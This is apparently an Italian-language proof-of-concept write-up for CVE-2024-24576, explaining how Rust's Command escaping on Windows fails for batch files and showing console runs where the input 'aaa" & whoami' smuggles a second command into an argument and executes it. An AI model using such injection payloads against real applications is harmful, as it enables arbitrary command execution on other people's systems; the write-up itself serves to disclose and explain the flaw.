
Esempio di caso d'uso di CVE-2024-24576.
Le API Command::arg e Command::args dichiarano nella loro documentazione che gli argomenti verranno passati al processo generato così come sono, indipendentemente dal contenuto degli argomenti, e non verranno valutati da una shell. Questo significa che dovrebbe essere sicuro passare input non attendibile come argomento.
Su Windows, l'implementazione di questo è più complessa rispetto ad altre piattaforme, perché l'API Windows fornisce solo una singola stringa contenente tutti gli argomenti per il processo generato, e spetta al processo generato dividerli. La maggior parte dei programmi usa argv della libreria C standard, che in pratica si traduce in un modo abbastanza coerente di dividere gli argomenti.
Un'eccezione però è cmd.exe (usato tra le altre cose per eseguire file batch), che ha una propria logica di suddivisione degli argomenti. Ciò costringe la libreria standard a implementare un escaping personalizzato per gli argomenti passati ai file batch. Sfortunatamente è stato segnalato che la nostra logica di escaping non era abbastanza accurata, ed era possibile passare argomenti malevoli che avrebbero permesso l'esecuzione arbitraria di comandi tramite shell.
Eseguendo il file main.rs con i seguenti payload si ottiene
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
Nota l'argomento con escape con il " whoami
NON È UNA MIA SCOPERTA!